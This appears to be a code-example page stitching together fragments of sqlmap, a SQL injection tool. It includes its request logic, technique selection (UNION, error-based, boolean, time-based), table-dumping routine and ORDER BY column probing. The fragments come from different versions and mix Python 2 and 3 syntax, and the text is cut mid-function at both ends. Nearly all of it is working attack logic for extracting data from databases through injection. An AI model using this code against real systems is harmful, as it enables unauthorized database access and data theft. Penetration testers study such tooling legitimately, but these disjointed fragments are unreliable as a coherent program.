            post = conf.parameters[PLACE.POST] if place != PLACE.POST or not value else value

        if PLACE.CUSTOM_POST in conf.parameters:
            post = (
                conf.parameters[PLACE.CUSTOM_POST].replace(CUSTOM_INJECTION_MARK_CHAR, "")
                if place != PLACE.CUSTOM_POST or not value
                else value
            )
            post = post.replace(ASTERISK_MARKER, "*") if post else post

        if PLACE.COOKIE in conf.parameters:
            cookie = conf.parameters[PLACE.COOKIE] if place != PLACE.COOKIE or not value else value

        if PLACE.USER_AGENT in conf.parameters:
            ua = conf.parameters[PLACE.USER_AGENT] if place != PLACE.USER_AGENT or not value else value

        if PLACE.REFERER in conf.parameters:
            referer = conf.parameters[PLACE.REFERER] if place != PLACE.REFERER or not value else value

        if PLACE.HOST in conf.parameters:
            host = conf.parameters[PLACE.HOST] if place != PLACE.HOST or not value else value

        if PLACE.URI in conf.parameters:
            uri = conf.url if place != PLACE.URI or not value else value
        else:
            uri = conf.url

        if value and place == PLACE.CUSTOM_HEADER:
            auxHeaders[value.split(",")[0]] = value.split(",", 1)[1]

        if conf.rParam:

            def _randomizeParameter(paramString, randomParameter):
                retVal = paramString
                match = re.search("%s=(?P<value>[^&;]+)" % randomParameter, paramString)
                if match:
                    origValue = match.group("value")
                    retVal = re.sub(
                        "%s=[^&;]+" % randomParameter,
                        "%s=%s" % (randomParameter, randomizeParameterValue(origValue)),
                        paramString,
                    )
                return retVal

            for randomParameter in conf.rParam:
                for item in (PLACE.GET, PLACE.POST, PLACE.COOKIE):
                    if item in conf.parameters:
                        if item == PLACE.GET and get:
                            get = _randomizeParameter(get, randomParameter)
                        elif item == PLACE.POST and post:
                            post = _randomizeParameter(post, randomParameter)
                        elif item == PLACE.COOKIE and cookie:
                            cookie = _randomizeParameter(cookie, randomParameter)

        if conf.evalCode:
            delimiter = conf.paramDel or DEFAULT_GET_POST_DELIMITER
            variables = {}
            originals = {}

            for item in filter(None, (get, post if not kb.postHint else None)):
                for part in item.split(delimiter):
                    if "=" in part:
                        name, value = part.split("=", 1)
                        value = urldecode(value, convall=True, plusspace=(item == post and kb.postSpaceToPlus))
                        evaluateCode("%s=%s" % (name.strip(), repr(value)), variables)

            if cookie:
                for part in cookie.split(conf.cookieDel or DEFAULT_COOKIE_DELIMITER):
                    if "=" in part:
                        name, value = part.split("=", 1)
                        value = urldecode(value, convall=True)
                        evaluateCode("%s=%s" % (name.strip(), repr(value)), variables)

            originals.update(variables)
            evaluateCode(conf.evalCode, variables)

            for name, value in variables.items():
                if name != "__builtins__" and originals.get(name, "") != value:
                    if isinstance(value, (basestring, int)):
                        found = False
                        value = unicode(value)

                        regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(delimiter), name, re.escape(delimiter))
                        if re.search(regex, (get or "")):
                            found = True
                            get = re.sub(regex, "\g<1>%s\g<3>" % value, get)

                        if re.search(regex, (post or "")):
                            found = True
                            post = re.sub(regex, "\g<1>%s\g<3>" % value, post)

                        regex = r"((\A|%s)%s=).+?(%s|\Z)" % (
                            re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER),
                            name,
                            re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER),
                        )
                        if re.search(regex, (cookie or "")):
                            found = True
                            cookie = re.sub(regex, "\g<1>%s\g<3>" % value, cookie)

                        if not found:
                            if post is not None:
                                post += "%s%s=%s" % (delimiter, name, value)
                            elif get is not None:
                                get += "%s%s=%s" % (delimiter, name, value)
                            elif cookie is not None:
                                cookie += "%s%s=%s" % (conf.cookieDel or DEFAULT_COOKIE_DELIMITER, name, value)

        if not conf.skipUrlEncode:
            get = urlencode(get, limit=True)

        if post is not None:
            if place not in (PLACE.POST, PLACE.CUSTOM_POST) and hasattr(post, UNENCODED_ORIGINAL_VALUE):
                post = getattr(post, UNENCODED_ORIGINAL_VALUE)
            elif kb.postUrlEncode:
                post = urlencode(post, spaceplus=kb.postSpaceToPlus)

        if timeBasedCompare:
            if len(kb.responseTimes) < MIN_TIME_RESPONSES:
                clearConsoleLine()

                if conf.tor:
                    warnMsg = "it's highly recommended to avoid usage of switch '--tor' for "
                    warnMsg += "time-based injections because of its high latency time"
                    singleTimeWarnMessage(warnMsg)

                warnMsg = "[%s] [WARNING] time-based comparison requires " % time.strftime("%X")
                warnMsg += "larger statistical model, please wait"
                dataToStdout(warnMsg)

                while len(kb.responseTimes) < MIN_TIME_RESPONSES:
                    Connect.queryPage(content=True)
                    dataToStdout(".")

                dataToStdout("\n")

            elif not kb.testMode:
                warnMsg = "it is very important not to stress the network adapter "
                warnMsg += "during usage of time-based payloads to prevent potential "
                warnMsg += "errors "
                singleTimeWarnMessage(warnMsg)

            if not kb.laggingChecked:
                kb.laggingChecked = True

                deviation = stdev(kb.responseTimes)

                if deviation > WARN_TIME_STDEV:
                    kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE

                    warnMsg = "there is considerable lagging "
                    warnMsg += "in connection response(s). Please use as high "
                    warnMsg += "value for option '--time-sec' as possible (e.g. "
                    warnMsg += "10 or more)"
                    logger.critical(warnMsg)

        if conf.safUrl and conf.saFreq > 0:
            kb.queryCounter += 1
            if kb.queryCounter % conf.saFreq == 0:
                Connect.getPage(
                    url=conf.safUrl, cookie=cookie, direct=True, silent=True, ua=ua, referer=referer, host=host
                )

        start = time.time()

        if kb.nullConnection and not content and not response and not timeBasedCompare:
            noteResponseTime = False

            pushValue(kb.pageCompress)
            kb.pageCompress = False

            if kb.nullConnection == NULLCONNECTION.HEAD:
                method = HTTPMETHOD.HEAD
            elif kb.nullConnection == NULLCONNECTION.RANGE:
                auxHeaders[HTTP_HEADER.RANGE] = "bytes=-1"

            _, headers, code = Connect.getPage(
                url=uri,
                get=get,
                post=post,
                cookie=cookie,
                ua=ua,
                referer=referer,
                host=host,
                silent=silent,
                method=method,
                auxHeaders=auxHeaders,
                raise404=raise404,
                skipRead=(kb.nullConnection == NULLCONNECTION.SKIP_READ),
            )

            if headers:
                if (
                    kb.nullConnection in (NULLCONNECTION.HEAD, NULLCONNECTION.SKIP_READ)
                    and HTTP_HEADER.CONTENT_LENGTH in headers
                ):
                    pageLength = int(headers[HTTP_HEADER.CONTENT_LENGTH])
                elif kb.nullConnection == NULLCONNECTION.RANGE and HTTP_HEADER.CONTENT_RANGE in headers:
                    pageLength = int(
                        headers[HTTP_HEADER.CONTENT_RANGE][headers[HTTP_HEADER.CONTENT_RANGE].find("/") + 1 :]
                    )

            kb.pageCompress = popValue()

        if not pageLength:
            try:
                page, headers, code = Connect.getPage(
                    url=uri,
                    get=get,
                    post=post,
                    cookie=cookie,
                    ua=ua,
                    referer=referer,
                    host=host,
                    silent=silent,
                    method=method,
                    auxHeaders=auxHeaders,
                    response=response,
                    raise404=raise404,
                    ignoreTimeout=timeBasedCompare,
                )
            except MemoryError:
                page, headers, code = None, None, None
                warnMsg = "site returned insanely large response"
                if kb.testMode:
                    warnMsg += " in testing phase. This is a common "
                    warnMsg += "behavior in custom WAF/IDS/IPS solutions"
                singleTimeWarnMessage(warnMsg)

        if conf.secondOrder:
            page, headers, code = Connect.getPage(
                url=conf.secondOrder,
                cookie=cookie,
                ua=ua,
                silent=silent,
                auxHeaders=auxHeaders,
                response=response,
                raise404=False,
                ignoreTimeout=timeBasedCompare,
                refreshing=True,
            )

        threadData.lastQueryDuration = calculateDeltaSeconds(start)

        kb.originalCode = kb.originalCode or code

        if kb.testMode:
            kb.testQueryCount += 1

        if timeBasedCompare:
            return wasLastResponseDelayed()
        elif noteResponseTime:
            kb.responseTimes.append(threadData.lastQueryDuration)

        if not response and removeReflection:
            page = removeReflectiveValues(page, payload)

        kb.maxConnectionsFlag = re.search(MAX_CONNECTIONS_REGEX, page or "", re.I) is not None
        kb.permissionFlag = re.search(PERMISSION_DENIED_REGEX, page or "", re.I) is not None

        if content or response:
            return page, headers

        if getRatioValue:
            return (
                comparison(page, headers, code, getRatioValue=False, pageLength=pageLength),
                comparison(page, headers, code, getRatioValue=True, pageLength=pageLength),
            )
        else:
            return comparison(page, headers, code, getRatioValue, pageLength)
Пример #34
0
def getValue(expression, blind=True, inband=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True):
    """
    Called each time sqlmap inject a SQL query on the SQL injection
    affected parameter. It can call a function to retrieve the output
    through inband SQL injection (if selected) and/or blind SQL injection
    (if selected).
    """

    kb.safeCharEncode = safeCharEncode
    kb.resumeValues = resumeValue

    if suppressOutput is not None:
        pushValue(getCurrentThreadData().disableStdOut)
        getCurrentThreadData().disableStdOut = suppressOutput

    try:
        if expected == EXPECTED.BOOL:
            forgeCaseExpression = booleanExpression = expression

            if expression.upper().startswith("SELECT "):
                booleanExpression = expression[len("SELECT "):]
            else:
                forgeCaseExpression = agent.forgeCaseStatement(expression)

        if conf.direct:
            if expected == EXPECTED.BOOL:
                value = direct(forgeCaseExpression)
            else:
                value = direct(expression)

        elif any(map(isTechniqueAvailable, getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True))):
            query = cleanQuery(expression)
            query = expandAsteriskForColumns(query)
            value = None
            found = False

            if query and not 'COUNT(*)' in query:
                query = query.replace("DISTINCT ", "")

            count = 0

            if inband and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
                kb.technique = PAYLOAD.TECHNIQUE.UNION

                if expected == EXPECTED.BOOL:
                    value = __goInband(forgeCaseExpression, expected, unpack, dump)
                else:
                    value = __goInband(query, expected, unpack, dump)

                count += 1
                found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

            if error and isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) and not found:
                kb.technique = PAYLOAD.TECHNIQUE.ERROR

                if expected == EXPECTED.BOOL:
                    value = __goError(forgeCaseExpression, expected, dump)
                else:
                    value = __goError(query, expected, dump)

                count += 1
                found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

            if blind and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) and not found:
                kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN

                if expected == EXPECTED.BOOL:
                    value = __goBooleanProxy(booleanExpression)
                else:
                    value = __goInferenceProxy(query, fromUser, expected, batch, unpack, charsetType, firstChar, lastChar, dump)

                count += 1
                found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

            if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found:
                if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME):
                    kb.technique = PAYLOAD.TECHNIQUE.TIME
                else:
                    kb.technique = PAYLOAD.TECHNIQUE.STACKED

                if expected == EXPECTED.BOOL:
                    value = __goBooleanProxy(booleanExpression)
                else:
                    value = __goInferenceProxy(query, fromUser, expected, batch, unpack, charsetType, firstChar, lastChar, dump)

            if value and isinstance(value, basestring):
                value = value.strip()
        else:
            errMsg = "none of the injection types identified can be "
            errMsg += "leveraged to retrieve queries output"
            raise sqlmapNotVulnerableException, errMsg

    finally:
        kb.resumeValues = True
        if suppressOutput is not None:
            getCurrentThreadData().disableStdOut = popValue()

    kb.safeCharEncode = False

    if not kb.testMode and value is None and Backend.getDbms() and conf.dbmsHandler:
        warnMsg = "in case of continuous data retrieval problems you are advised to try "
        warnMsg += "a switch '--no-cast' and/or switch '--hex'"
        singleTimeWarnMessage(warnMsg)

    return extractExpectedValue(value, expected)
Пример #35
0
def getValue(expression,
             blind=True,
             union=True,
             error=True,
             time=True,
             fromUser=False,
             expected=None,
             batch=False,
             unpack=True,
             resumeValue=True,
             charsetType=None,
             firstChar=None,
             lastChar=None,
             dump=False,
             suppressOutput=None,
             expectingNone=False,
             safeCharEncode=True):
    """
    Called each time sqlmap inject a SQL query on the SQL injection
    affected parameter.
    """

    if conf.hexConvert:
        charsetType = CHARSET_TYPE.HEXADECIMAL

    kb.safeCharEncode = safeCharEncode
    kb.resumeValues = resumeValue

    if suppressOutput is not None:
        pushValue(getCurrentThreadData().disableStdOut)
        getCurrentThreadData().disableStdOut = suppressOutput

    try:
        pushValue(conf.db)
        pushValue(conf.tbl)

        if expected == EXPECTED.BOOL:
            forgeCaseExpression = booleanExpression = expression

            if expression.upper().startswith("SELECT "):
                booleanExpression = "(%s)=%s" % (booleanExpression,
                                                 "'1'" if "'1'"
                                                 in booleanExpression else "1")
            else:
                forgeCaseExpression = agent.forgeCaseStatement(expression)

        if conf.direct:
            value = direct(forgeCaseExpression if expected ==
                           EXPECTED.BOOL else expression)

        elif any(
                map(isTechniqueAvailable,
                    getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True))):
            query = cleanQuery(expression)
            query = expandAsteriskForColumns(query)
            value = None
            found = False
            count = 0

            if query and not re.search(r"COUNT.*FROM.*\(.*DISTINCT", query,
                                       re.I):
                query = query.replace("DISTINCT ", "")

            if not conf.forceDns:
                if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
                    kb.technique = PAYLOAD.TECHNIQUE.UNION
                    kb.forcePartialUnion = kb.injection.data[
                        PAYLOAD.TECHNIQUE.UNION].vector[8]
                    fallback = not expected and kb.injection.data[
                        PAYLOAD.TECHNIQUE.
                        UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion

                    try:
                        value = _goUnion(
                            forgeCaseExpression if expected == EXPECTED.BOOL
                            else query, unpack, dump)
                    except SqlmapConnectionException:
                        if not fallback:
                            raise

                    count += 1
                    found = (value is not None) or (
                        value is None
                        and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

                    if not found and fallback:
                        warnMsg = "something went wrong with full UNION "
                        warnMsg += "technique (could be because of "
                        warnMsg += "limitation on retrieved number of entries)"
                        if " FROM " in query.upper():
                            warnMsg += ". Falling back to partial UNION technique"
                            singleTimeWarnMessage(warnMsg)

                            try:
                                pushValue(kb.forcePartialUnion)
                                kb.forcePartialUnion = True
                                value = _goUnion(query, unpack, dump)
                                found = (value
                                         is not None) or (value is None
                                                          and expectingNone)
                            finally:
                                kb.forcePartialUnion = popValue()
                        else:
                            singleTimeWarnMessage(warnMsg)

                if error and any(
                        isTechniqueAvailable(_)
                        for _ in (PAYLOAD.TECHNIQUE.ERROR,
                                  PAYLOAD.TECHNIQUE.QUERY)) and not found:
                    kb.technique = PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable(
                        PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY
                    value = errorUse(
                        forgeCaseExpression
                        if expected == EXPECTED.BOOL else query, dump)
                    count += 1
                    found = (value is not None) or (
                        value is None
                        and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

                if found and conf.dnsName:
                    _ = "".join(
                        filter(None,
                               (key if isTechniqueAvailable(value) else None
                                for key, value in {
                                    "E": PAYLOAD.TECHNIQUE.ERROR,
                                    "Q": PAYLOAD.TECHNIQUE.QUERY,
                                    "U": PAYLOAD.TECHNIQUE.UNION
                                }.items())))
                    warnMsg = "option '--dns-domain' will be ignored "
                    warnMsg += "as faster techniques are usable "
                    warnMsg += "(%s) " % _
                    singleTimeWarnMessage(warnMsg)

            if blind and isTechniqueAvailable(
                    PAYLOAD.TECHNIQUE.BOOLEAN) and not found:
                kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN

                if expected == EXPECTED.BOOL:
                    value = _goBooleanProxy(booleanExpression)
                else:
                    value = _goInferenceProxy(query, fromUser, batch, unpack,
                                              charsetType, firstChar, lastChar,
                                              dump)

                count += 1
                found = (value is not None) or (
                    value is None
                    and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

            if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME)
                         or isTechniqueAvailable(
                             PAYLOAD.TECHNIQUE.STACKED)) and not found:
                if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME):
                    kb.technique = PAYLOAD.TECHNIQUE.TIME
                else:
                    kb.technique = PAYLOAD.TECHNIQUE.STACKED

                if expected == EXPECTED.BOOL:
                    value = _goBooleanProxy(booleanExpression)
                else:
                    value = _goInferenceProxy(query, fromUser, batch, unpack,
                                              charsetType, firstChar, lastChar,
                                              dump)

        else:
            errMsg = "none of the injection types identified can be "
            errMsg += "leveraged to retrieve queries output"
            raise SqlmapNotVulnerableException(errMsg)

    finally:
        kb.resumeValues = True

        conf.tbl = popValue()
        conf.db = popValue()

        if suppressOutput is not None:
            getCurrentThreadData().disableStdOut = popValue()

    kb.safeCharEncode = False

    if not any(
        (kb.testMode, conf.dummy,
         conf.offline)) and value is None and Backend.getDbms(
         ) and conf.dbmsHandler and not conf.noCast and not conf.hexConvert:
        warnMsg = "in case of continuous data retrieval problems you are advised to try "
        warnMsg += "a switch '--no-cast' "
        warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in (
            DBMS.ACCESS, DBMS.FIREBIRD) else ""
        singleTimeWarnMessage(warnMsg)

    return extractExpectedValue(value, expected)
Пример #36
0
    def dumpTable(self, foundData=None):
        self.forceDbmsEnum()

        if conf.db is None or conf.db == CURRENT_DB:
            if conf.db is None:
                warnMsg = "missing database parameter. sqlmap is going "
                warnMsg += "to use the current database to enumerate "
                warnMsg += "table(s) entries"
                logger.warn(warnMsg)

            conf.db = self.getCurrentDb()

        elif conf.db is not None:
            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
                conf.db = conf.db.upper()

            if  ',' in conf.db:
                errMsg = "only one database name is allowed when enumerating "
                errMsg += "the tables' columns"
                raise SqlmapMissingMandatoryOptionException(errMsg)

        conf.db = safeSQLIdentificatorNaming(conf.db)

        if conf.tbl:
            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
                conf.tbl = conf.tbl.upper()

            tblList = conf.tbl.split(",")
        else:
            self.getTables()

            if len(kb.data.cachedTables) > 0:
                tblList = kb.data.cachedTables.values()

                if isinstance(tblList[0], (set, tuple, list)):
                    tblList = tblList[0]
            elif not conf.search:
                errMsg = "unable to retrieve the tables "
                errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                raise SqlmapNoneDataException(errMsg)
            else:
                return

        for tbl in tblList:
            tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True)

        for tbl in tblList:
            conf.tbl = tbl
            kb.data.dumpedTable = {}

            if foundData is None:
                kb.data.cachedColumns = {}
                self.getColumns(onlyColNames=True, dumpMode=True)
            else:
                kb.data.cachedColumns = foundData

            try:
                kb.dumpTable = "%s.%s" % (conf.db, tbl)

                if not safeSQLIdentificatorNaming(conf.db) in kb.data.cachedColumns \
                   or safeSQLIdentificatorNaming(tbl, True) not in \
                   kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] \
                   or not kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]:
                    warnMsg = "unable to enumerate the columns for table "
                    warnMsg += "'%s' in database" % unsafeSQLIdentificatorNaming(tbl)
                    warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                    warnMsg += ", skipping" if len(tblList) > 1 else ""
                    logger.warn(warnMsg)

                    continue

                columns = kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]
                colList = sorted(filter(None, columns.keys()))

                if conf.excludeCol:
                    colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')]

                if not colList:
                    warnMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(tbl)
                    warnMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                    warnMsg += " (no usable column names)"
                    logger.warn(warnMsg)
                    continue

                colNames = colString = ", ".join(column for column in colList)
                rootQuery = queries[Backend.getIdentifiedDbms()].dump_table

                infoMsg = "fetching entries"
                if conf.col:
                    infoMsg += " of column(s) '%s'" % colNames
                infoMsg += " for table '%s'" % unsafeSQLIdentificatorNaming(tbl)
                infoMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                logger.info(infoMsg)

                for column in colList:
                    _ = agent.preprocessField(tbl, column)
                    if _ != column:
                        colString = re.sub(r"\b%s\b" % re.escape(column), _, colString)

                entriesCount = 0

                if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                    entries = []
                    query = None

                    if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                        query = rootQuery.inband.query % (colString, tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())))
                    elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MAXDB):
                        query = rootQuery.inband.query % (colString, tbl)
                    elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
                        # Partial inband and error
                        if not (isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL):
                            table = "%s.%s" % (conf.db, tbl)

                            retVal = pivotDumpTable(table, colList, blind=False)

                            if retVal:
                                entries, _ = retVal
                                entries = zip(*[entries[colName] for colName in colList])
                        else:
                            query = rootQuery.inband.query % (colString, conf.db, tbl)
                    elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
                        query = rootQuery.inband.query % (colString, conf.db, tbl, prioritySortColumns(colList)[0])
                    else:
                        query = rootQuery.inband.query % (colString, conf.db, tbl)

                    query = whereQuery(query)

                    if not entries and query:
                        entries = inject.getValue(query, blind=False, time=False, dump=True)

                    if not isNoneValue(entries):
                        if isinstance(entries, basestring):
                            entries = [entries]
                        elif not isListLike(entries):
                            entries = []

                        entriesCount = len(entries)

                        for index, column in enumerate(colList):
                            if column not in kb.data.dumpedTable:
                                kb.data.dumpedTable[column] = {"length": len(column), "values": BigArray()}

                            for entry in entries:
                                if entry is None or len(entry) == 0:
                                    continue

                                if isinstance(entry, basestring):
                                    colEntry = entry
                                else:
                                    colEntry = unArrayizeValue(entry[index]) if index < len(entry) else u''

                                _ = len(DUMP_REPLACEMENTS.get(getUnicode(colEntry), getUnicode(colEntry)))
                                maxLen = max(len(column), _)

                                if maxLen > kb.data.dumpedTable[column]["length"]:
                                    kb.data.dumpedTable[column]["length"] = maxLen

                                kb.data.dumpedTable[column]["values"].append(colEntry)

                if not kb.data.dumpedTable and isInferenceAvailable() and not conf.direct:
                    infoMsg = "fetching number of "
                    if conf.col:
                        infoMsg += "column(s) '%s' " % colNames
                    infoMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
                    infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                    logger.info(infoMsg)

                    if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                        query = rootQuery.blind.count % (tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())))
                    elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
                        query = rootQuery.blind.count % tbl
                    elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
                        query = rootQuery.blind.count % ("%s.%s" % (conf.db, tbl))
                    elif Backend.isDbms(DBMS.MAXDB):
                        query = rootQuery.blind.count % tbl
                    else:
                        query = rootQuery.blind.count % (conf.db, tbl)

                    query = whereQuery(query)

                    if conf.dumpWhere:
                        kb.whereCollectTimes = True
                        pushValue(kb.responseTimes)

                    count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                    lengths = {}
                    entries = {}

                    if count == 0:
                        warnMsg = "table '%s' " % unsafeSQLIdentificatorNaming(tbl)
                        warnMsg += "in database '%s' " % unsafeSQLIdentificatorNaming(conf.db)
                        warnMsg += "appears to be empty"
                        logger.warn(warnMsg)

                        for column in colList:
                            lengths[column] = len(column)
                            entries[column] = []

                    elif not isNumPosStrValue(count):
                        warnMsg = "unable to retrieve the number of "
                        if conf.col:
                            warnMsg += "column(s) '%s' " % colNames
                        warnMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
                        warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                        logger.warn(warnMsg)

                        continue

                    elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL):
                        if Backend.isDbms(DBMS.ACCESS):
                            table = tbl
                        elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
                            table = "%s.%s" % (conf.db, tbl)
                        elif Backend.isDbms(DBMS.MAXDB):
                            table = "%s.%s" % (conf.db, tbl)

                        retVal = pivotDumpTable(table, colList, count, blind=True)

                        if retVal:
                            entries, lengths = retVal

                    else:
                        emptyColumns = []
                        plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
                        indexRange = getLimitRange(count, plusOne=plusOne)

                        if len(colList) < len(indexRange) > CHECK_ZERO_COLUMNS_THRESHOLD:
                            for column in colList:
                                if inject.getValue("SELECT COUNT(%s) FROM %s" % (column, kb.dumpTable), union=False, error=False) == '0':
                                    emptyColumns.append(column)
                                    debugMsg = "column '%s' of table '%s' will not be " % (column, kb.dumpTable)
                                    debugMsg += "dumped as it appears to be empty"
                                    logger.debug(debugMsg)

                        try:
                            for index in indexRange:
                                for column in colList:
                                    value = ""

                                    if column not in lengths:
                                        lengths[column] = 0

                                    if column not in entries:
                                        entries[column] = BigArray()

                                    if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
                                        query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index)
                                    elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                                        query = rootQuery.blind.query % (agent.preprocessField(tbl, column),
                                                                        tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())),
                                                                        index)
                                    elif Backend.isDbms(DBMS.SQLITE):
                                        query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, index)

                                    elif Backend.isDbms(DBMS.FIREBIRD):
                                        query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl)

                                    query = whereQuery(query)

                                    value = NULL if column in emptyColumns else inject.getValue(query, union=False, error=False, dump=True)
                                    value = '' if value is None else value

                                    _ = DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value))
                                    lengths[column] = max(lengths[column], len(_))
                                    entries[column].append(value)

                        except KeyboardInterrupt:
                            clearConsoleLine()
                            warnMsg = "Ctrl+C detected in dumping phase"
                            logger.warn(warnMsg)

                    if conf.dumpWhere:
                        kb.responseTimes = popValue()
                        kb.whereCollectTimes = False

                    for column, columnEntries in entries.items():
                        length = max(lengths[column], len(column))

                        kb.data.dumpedTable[column] = {"length": length, "values": columnEntries}

                        entriesCount = len(columnEntries)

                if len(kb.data.dumpedTable) == 0 or (entriesCount == 0 and kb.permissionFlag):
                    warnMsg = "unable to retrieve the entries "
                    if conf.col:
                        warnMsg += "of columns '%s' " % colNames
                    warnMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
                    warnMsg += "in database '%s'%s" % (unsafeSQLIdentificatorNaming(conf.db), " (permission denied)" if kb.permissionFlag else "")
                    logger.warn(warnMsg)
                else:
                    kb.data.dumpedTable["__infos__"] = {"count": entriesCount,
                                                        "table": safeSQLIdentificatorNaming(tbl, True),
                                                        "db": safeSQLIdentificatorNaming(conf.db)}
                    try:
                        attackDumpedTable()
                    except (IOError, OSError), ex:
                        errMsg = "an error occurred while attacking "
                        errMsg += "table dump ('%s')" % getSafeExString(ex)
                        logger.critical(errMsg)
                    conf.dumper.dbTableValues(kb.data.dumpedTable)

            except SqlmapConnectionException, ex:
                errMsg = "connection exception detected in dumping phase "
                errMsg += "('%s')" % getSafeExString(ex)
                logger.critical(errMsg)

            finally:
Пример #37
0
def _findUnionCharCount(comment,
                        place,
                        parameter,
                        value,
                        prefix,
                        suffix,
                        where=PAYLOAD.WHERE.ORIGINAL):
    """
    Finds number of columns affected by UNION based injection
    """
    retVal = None

    def _orderByTechnique():
        def _orderByTest(cols):
            query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix)
            query = agent.suffixQuery(query, suffix=suffix, comment=comment)
            payload = agent.payload(newValue=query,
                                    place=place,
                                    parameter=parameter,
                                    where=where)
            page, headers, code = Request.queryPage(payload,
                                                    place=place,
                                                    content=True,
                                                    raise404=False)
            return not any(
                re.search(_, page or "", re.I)
                and not re.search(_, kb.pageTemplate or "", re.I)
                for _ in ("(warning|error):", "order by",
                          "unknown column", "failed")) and comparison(
                              page, headers, code) or re.search(
                                  r"data types cannot be compared or sorted",
                                  page or "", re.I)

        if _orderByTest(1) and not _orderByTest(randomInt()):
            infoMsg = u"'ORDER BY'技术似乎是可用的。"
            infoMsg += u"这将减少查找正确数量的查询列所需的时间。"
            infoMsg += u"自动扩展当前UNION查询注入技术测试的范围。"
            singleTimeLogMessage(infoMsg)

            lowCols, highCols = 1, ORDER_BY_STEP
            found = None
            while not found:
                if _orderByTest(highCols):
                    lowCols = highCols
                    highCols += ORDER_BY_STEP
                else:
                    while not found:
                        mid = highCols - (highCols - lowCols) / 2
                        if _orderByTest(mid):
                            lowCols = mid
                        else:
                            highCols = mid
                        if (highCols - lowCols) < 2:
